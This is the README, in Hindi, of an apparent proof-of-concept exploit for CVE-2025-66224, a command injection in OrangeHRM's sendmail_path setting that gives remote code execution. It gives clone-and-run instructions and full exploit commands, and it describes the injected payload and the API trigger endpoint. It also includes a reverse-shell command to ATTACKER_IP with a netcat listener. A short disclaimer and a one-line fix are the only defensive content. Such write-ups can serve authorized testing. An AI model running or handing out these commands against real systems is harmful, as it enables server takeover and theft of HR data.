
CVE-2025-66224 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो OrangeHRM में sendmail_path पैरामीटर में कमांड इंजेक्शन के माध्यम से रिमोट कोड एक्जीक्यूशन प्रदर्शित करता है, साथ ही स्वचालित डेटाबेस पेलोड इंजेक्शन और क्लीनअप के साथ।
यह प्रूफ ऑफ कॉन्सेप्ट (PoC) OrangeHRM में sendmail_path कॉन्फ़िगरेशन पैरामीटर में कमांड इंजेक्शन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) कमजोरी को प्रदर्शित करता है।
शोषण निम्न प्रकार काम करता है:
hs_hr_config तालिका) में एक दुर्भावनापूर्ण पेलोड इंजेक्ट करनायह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। इस टूल के दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं हैं।
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrm कुकी मान कॉपी करेंpython3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
-dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
-cmd '<COMMAND_TO_EXECUTE>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# हमलावर मशीन पर श्रोता प्रारंभ करें
nc -lvnp 4444
# रिवर्स शेल पेलोड के साथ शोषण निष्पादित करें
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
यह कमजोरी ईमेल कॉन्फ़िगरेशन कार्यक्षमता में मौजूद है जहाँ sendmail_path पैरामीटर डेटाबेस में संग्रहीत किया जाता है और बाद में उचित स्वच्छता के बिना निष्पादित किया जाता है।
शोषण प्रवाह:
1. OrangeHRM में प्रमाणित करें (मान्य सत्र कुकी प्राप्त करें)
↓
2. MySQL डेटाबेस से कनेक्ट करें
↓
3. hs_hr_config तालिका का पता लगाएं
↓
4. email_config.sendmail_path मान अपडेट करें:
से: /usr/sbin/sendmail -bs
को: /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5. API के माध्यम से निष्पादन ट्रिगर करें:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. कमांड सर्वर पर निष्पादित होता है
↓
7. मूल मान पुनर्स्थापित करें (सफाई)
कमजोर पैरामीटर: email_config.sendmail_path
डेटाबेस:
hs_hr_configname = 'email_config.sendmail_path'value = sendmail कमांड पथट्रिगर समाप्ति बिंदु:
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_path पैरामीटर के लिए सख्त सत्यापन लागू करेंPoC द्वारा: RiccK
टीम: Bypassadores && HackersOnSteroids
⚠️ जिम्मेदारी से उपयोग करें। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
| पैरामीटर | संक्षिप्त | आवश्यक | विवरण |
|---|
--target | -t | ✅ | लक्ष्य URL (जैसे http://target.com) |
--cookie | -c | ✅ | सत्र कुकी मान |
--cookie_name | -cn | ❌ | कुकी नाम (डिफ़ॉल्ट: _orangehrm) |
--command | -cmd | ✅ | लक्ष्य पर निष्पादित करने के लिए कमांड |
--db_host | -dh | ✅ | MySQL होस्ट पता |
--db_user | -du | ✅ | MySQL उपयोगकर्ता नाम |
--db_pass | -dp | ✅ | MySQL पासवर्ड |
--db_port | -dport | ❌ | MySQL पोर्ट (डिफ़ॉल्ट: 3306) |